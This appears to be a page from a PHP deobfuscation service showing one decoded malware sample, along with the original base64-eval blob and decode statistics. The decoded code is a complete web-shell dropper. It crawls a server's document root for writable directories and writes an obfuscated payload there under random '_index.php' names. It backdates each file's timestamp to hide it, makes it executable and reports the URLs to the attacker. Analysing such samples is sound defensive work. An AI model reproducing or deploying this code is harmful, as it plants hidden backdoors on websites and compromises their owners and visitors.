Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode("aWYoIWRlZmluZWQoIlBIUF9FT0wiKSkKewogICAgZGVmaW5lKCJQSFBfRU9MIiwg..
Decoded Output download
if(!defined("PHP_EOL"))
{
define("PHP_EOL", "
");
}
if(!defined("DIRECTORY_SEPARATOR"))
{
define("DIRECTORY_SEPARATOR", "/");
}
function generateRandomString($length = 10)
{
$characters = '0123456789abcdefghijklmnopqrstuvwxyz';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString . "_index.php";
}
$payload_file = "PD9waHANCg0KDQpldmFsKCJcblwkZGdyZXVzZGkgPSBpbnR2YWwoX19MSU5FX18pICogMzM3OyIpOw0KDQokYSA9ICI3VmRyVCtOR0ZQMWVxZjloaUNJY0t3SEZqN0NsSVFoMkJkMVY2Ykl0aFZaQzFKbzRrMlFTdnpSMjY3NHJhRi85NHpEazc4R0xPb3U1VzZVbzJNN1psenozM01uVHMzSnp6Z1RzeVNsc2E2NzRDSVhqaFJPdFE5NWZYMXpvL1crL0liaE9OZ2pNT1NrcUJxUmJuZmZwdmNQdW1idEllQmc0Q2ZkWkFRZE1PdWg0M09kSks1MlFmM0t5U2FOSWg2NzR2cXhXUkF6dkZnL1d4cUhBcEczU2xwTlowM2w1Yy92anNqTkNaTk53em5uRGxod0FiSDJVZXlDdlcxekYvclI0VTVoOXp3cHlDZkJuVENoTU9ESlUrb3REK0hocElpT2s4cG1COHU0Uk5MNjc0aVphenBERzdNQjJSc3dOUjZ5MVJlb2RsWklzTnZMYXZ2Njc0eHlVdHVKM0p1eVd1SXdNeHpESS9yMThkTjVCYUJtN3JDZmNuRkhKOGx0RlVOa1dESlFnU2taSHZqK3ZTbm4yK004T0pzOHZyaStqUitlMllZVjcrdlRqOWNlZTl2Yms1N2I2NVhaeGZYaHZIREw5N2s5Vy9uNzk0Mk1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mFZVEFpWlVnTzY3NFRBaVo2NzRESjc5ZmFZSUROQlpvTE1oRktyV3pZTklBdGtGc2dza0ZrZ3N5QmtRY2lDa0FVaEcwcHQ0R3pnYk9rTGNEWndObkQycXhLaERTNjc0YlFqMEk5YjdhWlBtZjhLc2oxRlY5SWlwYTJpbVNJNUkxZHV1eTJDZDZwZWNmcG1oRjc0elNlSnMyYmFsczJzYmRrWjJCVktyc0FpVlJqZFF1NmQ2Zm4rdms2QWdidkw1TGs1ZnNZcFQwYTY3NFVWSjdUOG9jR0RCYXVTbHR3TUZuNmRvNXkwaVZHSlZkb1pWN3hwR3krSUF2NDlrSllpRm12cGZEUk1aWU02NzRZeXZlVmx6YTJHNisxSGJ6czJ3M1M3WWZmQUhUclplYWJyM1k5RHJoSjh2L3NjMnJLZmNZNkdVaUhaT3UyZ3czM1FQREoyVmRYRG81UHNicHBsTDcxSkxzRDlJZk02N1N0QzY3NGlQU0RsUFpOWnZiZjMvR2FTTVI0UVc5M0JaaitEMW1aa0RkYmYiOw0KJGEgPSBzdHJfcmVwbGFjZSgkZGdyZXVzZGksICJFIiwgJGEpOw0KZXZhbCAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7";
$payload_name = "";
srand(time());
/////////////////////////////////////////////////////////
function comparer($a, $b)
{
return strlen($a)-strlen($b);
}
if (!function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (!$f) {
return false;
} else {
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
}
function GetPathDiff($base_path, $full_path)
{
$pos = strpos($full_path, $base_path);
if ($pos === FALSE)
{
return FALSE;
}
return substr($full_path, $pos + strlen($base_path));
}
function GetWritableDirs()
{
$res = Array();
$analysys_queue = Array();
$analysys_queue[] = GetDocRoot();
$self_path = $_SERVER['SCRIPT_FILENAME'];
while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE)
{
$self_path = substr($self_path, 0, $slash);
if ($self_path == GetDocRoot())
{
break;
}
if (strlen($self_path))
{
$analysys_queue[] = $self_path;
}
}
foreach ($analysys_queue as $current_dir)
{
if (!in_array($current_dir, $res))
{
$res = array_merge($res, GetDirectoryList($current_dir));
}
}
$res = array_merge($analysys_queue, $res);
return CheckWritable(array_unique($res));
}
function CheckWritable($dir_list)
{
$dir_list_writable = Array();
foreach ($dir_list as $dir)
{
if (@is_writable($dir) == TRUE)
{
$dir_list_writable[] = $dir;
}
}
return $dir_list_writable;
}
function GetDirectoryList($dir, $depth=1000)
{
$result = array();
$dir_count = 0;
if ($depth == 0)
{
return $result;
}
$dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\/');
$h = @opendir($dir);
if ($h === FALSE)
{
return $result;
}
while (($f = readdir($h)) !== FALSE)
{
if ($f !== '.' and $f !== '..')
{
$current_dir = "$dir/$f";
if (is_dir($current_dir))
{
$dir_count += 1;
if ($dir_count >= $depth)
{
break;
}
$result[] = $current_dir;
$result = array_merge($result, GetDirectoryList($current_dir, $depth / 10));
}
}
}
closedir($h);
return $result;
}
function GetDocRoot()
{
$docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']);
if ($docroot_end === FALSE)
{
return $_SERVER['DOCUMENT_ROOT'];
}
elseif ($docroot_end === 0)
{
return "/";
}
else
{
return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end);
}
}
function GetPayload($payload)
{
$current_payload = base64_decode($payload);
return $current_payload;
}
function WritePayload($path, $payload)
{
if (!file_exists($path))
{
if (file_put_contents($path, GetPayload($payload)) != FALSE)
{
return TRUE;
}
}
return FALSE;
}
////////////////////////////////////////////////////////////////////////////////////////////
# get base local and remote path
$base_www_path = $host = @$_SERVER['HTTP_HOST'];
$base_local_path = GetDocRoot();
if (!($base_local_path_time = @stat($base_local_path."/.htaccess")))
{
if (!($base_local_path_time = @stat($base_local_path."/index.php")))
{
if (!($base_local_path_time = @stat($base_local_path."/index.html")))
{
if (!($base_local_path_time = @stat($base_local_path."/..")))
{
if (!($base_local_path_time = @stat($base_local_path)))
{
$base_local_path_time = Array();
$base_local_path_time['mtime'] = time();
}
}
}
}
}
$base_local_path_time = $base_local_path_time['mtime'];
$dir_list_writable = GetWritableDirs();
if (count($dir_list_writable) == 0)
{
echo "URL#STATUS_UNWRITABLE";
exit();
}
usort($dir_list_writable, 'comparer'); # sort directory by len
$list_writable = Array();
$list_writable[] = $dir_list_writable[0];
$list_writable[] = $dir_list_writable[rand(0,sizeof($dir_list_writable))];
$good = FALSE;
$good_counter = 0;
# try to upload
$max_tryes = strlen($payload_name) == 0 ? 5 : 1;
foreach ($list_writable as $current_dir)
{
// if payload name is set, no more one try to upload on current dir
//for ($i=0; $i < $max_tryes; $i++)
{
if (strlen($payload_name) == 0)
{
$temp_payload_name = generateRandomString();
}
else
{
$temp_payload_name = $payload_name;
}
$full_payload_name = $current_dir . DIRECTORY_SEPARATOR . $temp_payload_name;
$uri_path = GetPathDiff($base_local_path, $full_payload_name);
if (strpos($uri_path, $temp_payload_name) === false)
{
$uri_path = $uri_path . "/" . $temp_payload_name;
}
$full_uri = $base_www_path . (strpos($uri_path, "/") == 0 ? $uri_path : "/".$uri_path);
if (WritePayload($full_payload_name, $payload_file))
{
touch($full_payload_name, $base_local_path_time); // set last modification time as root folder
chmod($full_payload_name, 0755);
echo "URL#http://" . $full_uri . PHP_EOL;
$good=TRUE;
$good_counter++;
if ($good_counter >1)
{
//unlink("dfaonfpfkwg.php");
echo "#CCCURL";
exit();
}
}
}
}
if(!$good)
echo "URL#STATUS_CANTUPLOAD#CCCURL";
echo "#CCCURL";
//unlink("dfaonfpfkwg.php");
exit();
Did this file decode correctly?
Original Code
<?php eval(base64_decode("aWYoIWRlZmluZWQoIlBIUF9FT0wiKSkKewogICAgZGVmaW5lKCJQSFBfRU9MIiwgIlxuIik7Cn0KCmlmKCFkZWZpbmVkKCJESVJFQ1RPUllfU0VQQVJBVE9SIikpCnsKICAgIGRlZmluZSgiRElSRUNUT1JZX1N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OwogICAgICAgICAgICBpZiAoaXNfZGlyKCRjdXJyZW50X2RpcikpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRkaXJfY291bnQgKz0gMTsKCiAgICAgICAgICAgICAgICBpZiAoJGRpcl9jb3VudCA+PSAkZGVwdGgpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgJHJlc3VsdFtdID0gJGN1cnJlbnRfZGlyOwogICAgICAgICAgICAgICAgJHJlc3VsdCA9IGFycmF5X21lcmdlKCRyZXN1bHQsIEdldERpcmVjdG9yeUxpc3QoJGN1cnJlbnRfZGlyLCAkZGVwdGggLyAxMCkpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIGNsb3NlZGlyKCRoKTsKCiAgICByZXR1cm4gJHJlc3VsdDsKfQoKZnVuY3Rpb24gR2V0RG9jUm9vdCgpCnsKICAgICRkb2Nyb290X2VuZCA9IHN0cnJwb3MoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddLCAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7CiAgICBpZiAoJGRvY3Jvb3RfZW5kID09PSBGQUxTRSkKICAgIHsKICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsKICAgIH0KICAgIGVsc2VpZiAoJGRvY3Jvb3RfZW5kID09PSAwKQogICAgewogICAgICAgIHJldHVybiAiLyI7CiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgICAgcmV0dXJuIHN1YnN0cigkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10sIDAsICRkb2Nyb290X2VuZCk7CiAgICB9Cn0KCmZ1bmN0aW9uIEdldFBheWxvYWQoJHBheWxvYWQpCnsKICAgICRjdXJyZW50X3BheWxvYWQgPSBiYXNlNjRfZGVjb2RlKCRwYXlsb2FkKTsKCiAgICByZXR1cm4gJGN1cn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A3NTUpOwogICAgICAgICAgICBlY2hvICJVUkwjaHR0cDovLyIgLiAkZnVsbF91cmkgLiBQSFBfRU9MOwogICAgICAgICAgICAkZ29vZD1UUlVFOwogICAgICAgICAgICAkZ29vZF9jb3VudGVyKys7CiAgICAgICAgICAgIGlmICgkZ29vZF9jb3VudGVyID4xKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAvL3VubGluaygiZGZhb25mcGZrd2cucGhwIik7CiAgICAgICAgICAgICAgICBlY2hvICIjQ0NDVVJMIjsKICAgICAgICAgICAgICAgIGV4aXQoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQppZighJGdvb2QpCiAgICBlY2hvICJVUkwjU1RBVFVTX0NBTlRVUExPQUQjQ0NDVVJMIjsKZWNobyAiI0NDQ1VSTCI7Ci8vdW5saW5rKCJkZmFvbmZwZmt3Zy5waHAiKTsKZXhpdCgpOw==")); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 6ea6623e8479a65e711124e77aa47e4c |
Eval Count | 1 |
Decode Time | 137 ms |